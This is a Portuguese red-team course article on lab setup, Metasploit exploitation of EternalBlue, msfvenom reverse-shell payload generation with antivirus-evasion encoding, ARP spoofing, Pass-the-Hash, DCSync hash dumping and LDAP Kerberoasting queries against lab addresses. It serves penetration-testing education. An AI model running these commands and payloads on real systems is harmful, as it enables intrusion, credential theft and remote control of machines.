Network Security Red Team explicado de forma simples (com diagramas e código real)

Network Security Red Team: o essencial em um artigo — código real, diagramas e etapas concretas, extraídos de um curso de 39 lições.

Network Security Red Team explicado de forma simples (com diagramas e código real)

Um guia direto ao ponto: Network Security Red Team dissecado com diagramas, exemplos concretos e comandos testados. Tudo vem de um curso estruturado de 11 capítulos — aqui está o melhor.

tl;dr
  • Preparar seu laboratório Red Team
  • Fundamentos de segurança de rede
  • Reconhecimento e enumeração de rede
  • Exploração e acesso inicial
  • Movimento lateral e pivoting
~$ cat ./parcours.md # Network Security Red Team — 10 capítulos
01
Preparar seu laboratório Red Team
→ Apresentação do curso e ética Red Team→ Instalar Kali Linux e a infraestrutura de lab virtual+ 1 mais lições
02
Fundamentos de segurança de rede
→ Modelo OSI e TCP/IP do ponto de vista do pentester→ Protocolos críticos para o Red Team+ 1 mais lições
03
Reconhecimento e enumeração de rede
→ OSINT e reconhecimento passivo→ Nmap scanning avançado (NSE, timing, evasão)+ 2 mais lições
04
Exploração e acesso inicial
→ Metasploit Framework — módulos de exploits de rede→ Metasploit Framework — módulos de exploits de rede+ 2 mais lições
05
Movimento lateral e pivoting
→ Pivoting de rede — SSH, Chisel, Ligolo-ng→ Pass-the-Hash, Pass-the-Ticket e Over-Pass-the-Hash+ 2 mais lições
06
Escalonamento de privilégios
→ Escalonamento de privilégios Windows — UAC bypass, token impersonation, serviços→ PrivEsc Linux — SUID, sudo, capabilities, kernel+ 1 mais lições
07
Persistência e backdoors de rede
→ Persistência Windows — serviços, registro, tarefas, WMI→ Persistência Linux — chaves SSH, cron, systemd, eBPF+ 1 mais lições
08
Command and Control C2
→ Arquitetura C2 — Sliver, Havoc e frameworks modernos→ Beaconing, sleep, jitter e perfis maleáveis+ 2 mais lições
🏁
Projeto final (+ 2 capítulos no caminho)
→ Você sai com um projeto concreto e demonstrável

Instalar Kali Linux e a infraestrutura de laboratório virtual

NOTE🎯 Objetivos pedagógicos
Ao final desta lição, você terá: instalado um hipervisor (VirtualBox ou VMware), implantado Kali Linux em uma VM corretamente isolada, configurado uma rede host-only para o laboratório, e verificado o funcionamento correto das ferramentas Red Team básicas.

1. Pré-requisitos de hardware

💾 Mínimo viável

⚡ Confortável

🏆 Ideal

WARNING⚠️ Verificar a virtualização
No Windows: systeminfo | findstr /i "Hyper-V" deve mostrar « Yes » para Virtualization Enabled in Firmware. Caso contrário, ative VT-x/AMD-V na BIOS/UEFI.

2. Escolher seu hipervisor

HipervisorPreçoSO hospedeiroVantagensDesvantagens
VirtualBox 7.xGrátis (GPL)Win, macOS, LinuxOpen-source, snapshots ilimitados, compatível com GOADDesempenho médio no Windows 11
VMware Workstation ProGrátis (desde 2024)Win, LinuxMuito rápido, NAT eficienteMais complexo para script
VMware Fusion ProGrátis (macOS)macOS (Intel + Apple Silicon)Suporte nativo ARM64 (M1/M2/M3)Limitações no Apple Silicon (sem Win x86)
Hyper-VIncluso no Win ProWindows 10/11 ProDesempenho nativoSnapshots limitados, conflito com VBox
Proxmox VEGrátisBare metalNível de produção, console webExige servidor dedicado
TIP💡 Recomendação do curso
VirtualBox pela simplicidade e portabilidade (Mac/Win/Linux), ou VMware Workstation Pro pelo desempenho. GOAD suporta ambos nativamente via Ansible.

3. Instalação do VirtualBox

No Windows

bash
# Baixar em https://www.virtualbox.org/wiki/Downloads
# Versão 7.0.x (estável) ou 7.1.x

# Instalação silenciosa via winget
winget install -e --id Oracle.VirtualBox

# Verificar a instalação
VBoxManage --version
# Deve exibir: 7.0.x ou 7.1.x

# Instalar o Extension Pack (USB 3.0, RDP, criptografia de disco)
# Baixar Oracle_VM_VirtualBox_Extension_Pack-7.x.vbox-extpack
VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-*.vbox-extpack

No macOS (Intel)

bash
# Via Homebrew
brew install --cask virtualbox
brew install --cask virtualbox-extension-pack

# Aprovar o kext em Preferências do Sistema > Segurança
# (exige reinicialização)

No Linux (Ubuntu / Debian)

bash
# Adicionar o repositório Oracle
wget -O- https://www.virtualbox.org/download/oracle_vbox_2016.asc | \
    sudo gpg --dearmor -o /usr/share/keyrings/oracle-virtualbox-2016.gpg

echo "deb [arch=amd64 signed-by=/usr/share/keyrings/oracle-virtualbox-2016.gpg] \
    https://download.virtualbox.org/virtualbox/debian $(lsb_release -cs) contrib" | \
    sudo tee /etc/apt/sources.list.d/virtualbox.list

sudo apt update
sudo apt install -y virtualbox-7.0

# Verificar
VBoxManage --version

4. Baixar Kali Linux

Kali Linux é a distribuição baseada em Debian dedicada à segurança ofensiva. Ela inclui nativamente mais de 600 ferramentas.

bash
# Página oficial: https://www.kali.org/get-kali/

# Opção 1: VM VirtualBox pré-construída (RECOMENDADO)
#   Arquivo : kali-linux-2026.X-virtualbox-amd64.7z
#   Tamanho : ~3 GB
#   Vantagem: VBox Guest Additions já instalados

# Opção 2: ISO instalador
#   Arquivo : kali-linux-2026.X-installer-amd64.iso
#   Tamanho : ~4 GB
#   Vantagem: controle total sobre a instalação

# Opção 3: WSL (Windows Subsystem for Linux)
#   Vantagem: integração com Windows, leve
#   Desvantagem: sem Metasploit DB persistente fácil

# Verificação de integridade (SEMPRE!)
sha256sum kali-linux-2026.*-virtualbox-amd64.7z
# Comparar com o valor publicado em kali.org
WARNING⚠️ Sempre verificar o SHA256
Espelhos maliciosos já distribuíram imagens Kali trojanizadas. Sempre verifique a assinatura SHA256 contra a publicada no site oficial.

5. Importar a VM Kali pré-construída

bash
# 1. Descompactar o arquivo
7z x kali-linux-2026.X-virtualbox-amd64.7z
# 7zip travou? Instale: sudo apt install p7zip-full

# 2. Importar no VirtualBox (opção A: GUI)
#    File > Import Appliance > selecionar o .vbox

# 3. Importar via CLI (opção B: script)
VBoxManage import kali-linux-2026.X-virtualbox-amd64/kali-linux-2026.X-virtualbox-amd64.vbox \
  --vsys 0 --vmname "Kali-Red-Team" --cpus 4 --memory 6144

# 4. Listar as VMs
VBoxManage list vms
# Deve exibir: "Kali-Red-Team" {uuid}

Configurações recomendadas antes do primeiro boot

bash
VM="Kali-Red-Team"

# Alocar 4 CPU e 6 GB RAM
VBoxManage modifyvm "$VM" --cpus 4 --memory 6144

# Ativar área de transferência compartilhada bidirecional
VBoxManage modifyvm "$VM" --clipboard-mode bidirectional --draganddrop bidirectional

# Ativar aceleração de vídeo
VBoxManage modifyvm "$VM" --vram 128 --graphicscontroller vmsvga --accelerate3d on

# Desativar USB 1.0, ativar USB 3.0
VBoxManage modifyvm "$VM" --usb on --usbehci on --usbxhci on

# Gerar um endereço MAC fixo (útil para snapshots de rede)
VBoxManage modifyvm "$VM" --macaddress1 080027AA1010

Metasploit Framework — módulos de exploits de rede

NOTE🎯 Objetivos pedagógicos
Ao final desta lição, você saberá navegar no Metasploit Framework (msfconsole), selecionar os módulos de exploit de rede corretos, escolher um payload adequado, iniciar um handler e obter uma sessão Meterpreter em um alvo vulnerável do seu laboratório.

1. Por que Metasploit?

Metasploit Framework (MSF) é o framework de exploração mais usado no mundo. Ele reúne mais de 2.300 exploits, 1.500 payloads, 700 módulos auxiliares e 600 pós-explorações.

✅ Pontos fortes do Metasploit

⚠️ Limites a conhecer

TIP💡 Quando usar MSF?
Excelente para: pentest pedagógico, CVEs de rede clássicas (SMB, RPC, RCE web), pivoting básico. Menos adequado para: operações Red Team furtivas modernas (prefira Sliver, Mythic, Havoc).

2. Estrutura do Metasploit

output
/usr/share/metasploit-framework/
├── modules/
│   ├── exploits/        # 2300+ exploits por OS / serviço
│   ├── payloads/        # 1500+ payloads
│   ├── auxiliary/       # Scanners, brute force, sniffers
│   ├── post/            # Módulos pós-exploração
│   ├── encoders/        # Ofuscação de payload (pouco eficaz contra AV)
│   ├── nops/            # NOP sleds
│   └── evasion/         # Módulos anti-AV
└── data/                # Wordlists, templates

Categorias de módulos

TipoDescriçãoExemplo
exploitCódigo que explora uma vulnerabilidadeexploit/windows/smb/ms17_010_eternalblue
auxiliaryScanners, fuzzers, brute force, DoSauxiliary/scanner/smb/smb_login
payloadCódigo enviado após o exploit (shell, meterpreter)windows/x64/meterpreter/reverse_https
postAções após sessão abertapost/windows/gather/hashdump
encoderOfuscação do payloadx86/shikata_ga_nai
evasionBypass AV/Defenderwindows/windows_defender_exe

3. Primeiros passos no msfconsole

bash
# 1. Iniciar o PostgreSQL (no boot)
sudo systemctl start postgresql
sudo msfdb init      # uma única vez

# 2. Iniciar msfconsole com base ativada
msfconsole -q
msf6 > db_status
# [*] Connected to msf. Connection type: postgresql.

# 3. Criar um workspace por missão (CRUCIAL)
msf6 > workspace -a mission_lab
msf6 > workspace
# * mission_lab     <- o asterisco = workspace ativo

# 4. Importar um scan Nmap
msf6 > db_import /tmp/enriched.xml
msf6 > hosts
msf6 > services -p 445

# 5. Buscar um módulo
msf6 > search type:exploit eternalblue
msf6 > search name:bluekeep platform:windows
msf6 > search cve:2017-0144

# 6. Ajuda completa
msf6 > help
msf6 > info exploit/windows/smb/ms17_010_eternalblue

4. Anatomia de um exploit Metasploit

output
# Sequência padrão para EXECUTAR UM EXPLOIT
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > show options
msf6 exploit(...) > show targets
msf6 exploit(...) > show payloads

# Configurar as opções OBRIGATÓRIAS (Required: yes)
msf6 exploit(...) > set RHOSTS 192.168.56.20
msf6 exploit(...) > set RPORT 445

# Escolher um payload adequado
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(...) > set LHOST 192.168.56.10    # seu Kali
msf6 exploit(...) > set LPORT 8443

# Verificar as opções
msf6 exploit(...) > show options

# (Opcional) verificar se o alvo é vulnerável
msf6 exploit(...) > check
# [+] 192.168.56.20:445 - The target is vulnerable.

# Executar!
msf6 exploit(...) > run
# [*] Started HTTPS reverse handler on https://192.168.56.10:8443
# [*] Sending stage (203846 bytes) to 192.168.56.20
# [*] Meterpreter session 1 opened ...
meterpreter >

5. Escolher o payload correto

Convenções de nomenclatura

output
windows/x64/meterpreter/reverse_https
^^^^^^^^^^^  ^^^^^^^^^^^^  ^^^^^^^^^^^^^
| OS+arch    | Tipo        | Transporte

windows  : Windows
x64      : arquitetura 64 bits
meterpreter : payload avançado (vs shell simples)
reverse_https : conexão de saída criptografada para o atacante

Transportes principais

TransporteDireçãoFurtividadeQuando usar
reverse_tcpAlvo → Atacante (porta customizada)Baixa (tráfego suspeito)Laboratório, porta de saída aberta
reverse_httpsAlvo → Atacante (443 criptografado)Boa (TLS legítimo)Rede corporativa padrão
reverse_httpAlvo → Atacante (80)Média (HTTP em claro)Se HTTPS bloqueado
bind_tcpAtacante → Alvo (porta customizada)Baixa (alvo escutando)NAT reverso, alvo direto exp
reverse_dnsTúnel via DNSMuito boa (raro)Rede ultra-segmentada
reverse_winhttpsHTTPS via WinHTTP (cert pinning)ExcelenteBypass proxy corporativo
TIP💡 Regra prática
Em laboratório: reverse_tcp na 4444 (rápido).
Em missão interna: reverse_https na 443 (passa firewalls/proxies).
Se proxy corporativo: reverse_winhttps que respeita as configurações do sistema.

6. Multi/handler — receber sessões independentemente

O módulo multi/handler é um « recebedor genérico » que escuta payloads gerados separadamente (com msfvenom).

output
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 192.168.56.10
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > run -j        # -j = job em segundo plano

# Ver jobs ativos
msf6 > jobs

# Parar um job
msf6 > jobs -k 1

Gerar um payload com msfvenom

bash
# EXE Windows
msfvenom -p windows/x64/meterpreter/reverse_https \
         LHOST=192.168.56.10 LPORT=443 \
         -f exe -o /tmp/payload.exe

# ELF Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp \
         LHOST=192.168.56.10 LPORT=4444 \
         -f elf -o /tmp/payload

# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_https \
         LHOST=192.168.56.10 LPORT=443 \
         -f psh-cmd

# Injeção DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
         LHOST=192.168.56.10 LPORT=4444 \
         -f dll -o /tmp/payload.dll

# Shellcode bruto (para loader customizado)
msfvenom -p windows/x64/meterpreter/reverse_https \
         LHOST=192.168.56.10 LPORT=443 \
         -f raw -o /tmp/shellcode.bin

# Codificado (Shikata Ga Nai para bypass simples de AV)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
         LHOST=192.168.56.10 LPORT=4444 \
         -e x64/xor_dynamic -i 10 \
         -f exe -o /tmp/encoded.exe

Protocolos críticos para Red Team

NOTE🎯 Objetivos pedagógicos
Ao final desta lição, você conhecerá o funcionamento e as fraquezas exploráveis dos 7 protocolos fundamentais de uma rede corporativa Windows: ARP, DNS, SMB, LDAP, Kerberos, RDP e WinRM. Você saberá identificá-los no Wireshark e reconhecer quais ataques cada um permite.

1. ARP — o primeiro elo fraco

ARP (Address Resolution Protocol) traduz IP em MAC em uma LAN. Sem autenticação, é o alvo número 1 em uma rede interna.

bash
# Ver o cache ARP local
ip neigh show
# ou
arp -an

# Envenenar o cache de um alvo (em laboratório)
bettercap -iface eth1
> set arp.spoof.targets 192.168.56.20
> set arp.spoof.fullduplex true
> arp.spoof on
> net.sniff on

# Ver o tráfego interceptado no Wireshark
sudo wireshark -i eth1

Fraquezas ARP exploráveis

TIP💡 Mitigação
DAI (Dynamic ARP Inspection) em switches Cisco/HP, 802.1X, ARP estático para o gateway crítico, ou simplesmente criptografia ponta a ponta (TLS, VPN) que torna a interceptação inofensiva.

2. DNS — o diretório que fala demais

O DNS é usado não apenas para resolução de nomes, mas também revela a topologia do Active Directory via registros SRV.

bash
# Encontrar o DC de um domínio via DNS
dig _ldap._tcp.dc._msdcs.lab.local SRV
dig _kerberos._tcp.lab.local SRV
dig _gc._tcp.lab.local SRV    # Global Catalog

# Encontrar todas as máquinas de um domínio (Zone Transfer se autorizado)
dig @192.168.56.10 lab.local AXFR

# Reverse DNS em um /24
for ip in 192.168.56.{1..254}; do
    host $ip 2>/dev/null | grep -v NXDOMAIN
done

# DNS dinâmico: registrar um nome falso (se autorizado em laboratório)
nsupdate -k /tmp/key.conf <<EOF
server 192.168.56.10
update add evil.lab.local 60 A 192.168.56.99
send
EOF

Ataques DNS Red Team

AtaqueDescriçãoFerramentas
Zone transfer (AXFR)Se autorizado, dump completo da zonadig, dnsenum
DNS cache poisoningEnvenenar o cache de um resolvedordnspoof, mitm6
Enumeração de subdomínios DNSDescobrir subdomínios (recon externo)amass, subfinder, sublist3r
DNS tunneling C2Exfiltrar/controlar via consultas DNSiodine, dnscat2
Sequestro de registros NSAssumir controle de um NS abandonadonsec3walker

3. SMB — a canivete suíço do Red Team

SMB (Server Message Block) = compartilhamento de arquivos, impressoras, execução remota, transporte para RPC. É O protocolo de ataque Windows.

bash
# Enumeração: versão, SO, compartilhamentos, usuários
crackmapexec smb 192.168.56.0/24
crackmapexec smb 192.168.56.10 -u jon.snow -p 'Winter2026!' --shares
crackmapexec smb 192.168.56.10 -u '' -p '' --users   # Null session

# Listar compartilhamentos com smbclient
smbclient -L //192.168.56.10/ -U jon.snow%'Winter2026!'

# Conectar a um compartilhamento
smbclient //192.168.56.10/Public -U jon.snow%'Winter2026!'
smb: \> ls
smb: \> get arquivo_secreto.txt

# Montar o compartilhamento
sudo mount -t cifs //192.168.56.10/Public /mnt/smb \
   -o username=jon.snow,password='Winter2026!',vers=3.0

Ataques SMB emblemáticos

🏭 Pré-autenticação (sem credenciais)

🔐 Pós-autenticação (com credenciais)

bash
# Testar um host para EternalBlue
nmap --script smb-vuln-ms17-010 -p 445 192.168.56.0/24

# Exploração com Metasploit (somente em laboratório)
msfconsole -q
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.56.20
msf6 > run

# Movimento lateral PSExec com hash NT (Pass-the-Hash)
impacket-psexec -hashes :32ED87BDB5FDC5E9CBA88547376818D4 \
                administrator@192.168.56.10

# Dump de hashes (DCSync, requer direitos DA)
impacket-secretsdump lab.local/administrator:'Pass!'@192.168.56.10 -just-dc

4. LDAP — o diretório transparente

LDAP (porta 389/636) expõe tudo o diretório AD: usuários, grupos, GPOs, OUs, ACLs. Uma simples autenticação de domínio geralmente basta para consultá-lo.

bash
# Buscar usuários
ldapsearch -x -H ldap://192.168.56.10 \
   -D "jon.snow@lab.local" -w 'Winter2026!' \
   -b "DC=lab,DC=local" -s sub "(&(objectClass=user)(objectCategory=person))" \
   sAMAccountName description

# Buscar contas Kerberoastable (com SPN)
ldapsearch -x -H ldap://192.168.56.10 \
   -D "jon.snow@lab.local" -w 'Winter2026!' \
   -b "DC=lab,DC=local" "(&(samAccountType=805306368)(servicePrincipalName=*))" \
   sAMAccountName servicePrincipalName

# Buscar contas AS-REP roastable
ldapsearch -x -H ldap://192.168.56.10 \
   -D "jon.snow@lab.local" -w 'Winter2026!' \
   -b "DC=lab,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"

# Buscar o esquema (todas as classes)
ldapsearch -x -H ldap://192.168.56.10 -b "CN=Schema,CN=Configuration,DC=lab,DC=local" cn

BloodHound: LDAP em grafo

bash
# Coleta completa a partir do Kali
bloodhound-python -u jon.snow -p 'Winter2026!' -d lab.local \
                  -ns 192.168.56.10 -c All --zip

# Iniciar Neo4j e BloodHound GUI
sudo neo4j start
bloodhound
# Arraste e solte o .zip na interface
# Consulta: Shortest path to Domain Admins
# Consulta: Find Kerberoastable Users
va-plus-loin

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FAQ

Quanto tempo para aprender Network Security Red Team?
Com uma progressão estruturada (11 capítulos, 39 lições curtas e práticas), você atinge um nível operacional em algumas semanas dedicando 30 a 60 minutos por dia. O importante é praticar cada conceito imediatamente.
Precisa de pré-requisitos?
É melhor estar confortável com os fundamentos do domínio: este conteúdo vai em profundidade, com casos reais.
Por onde começar concretamente?
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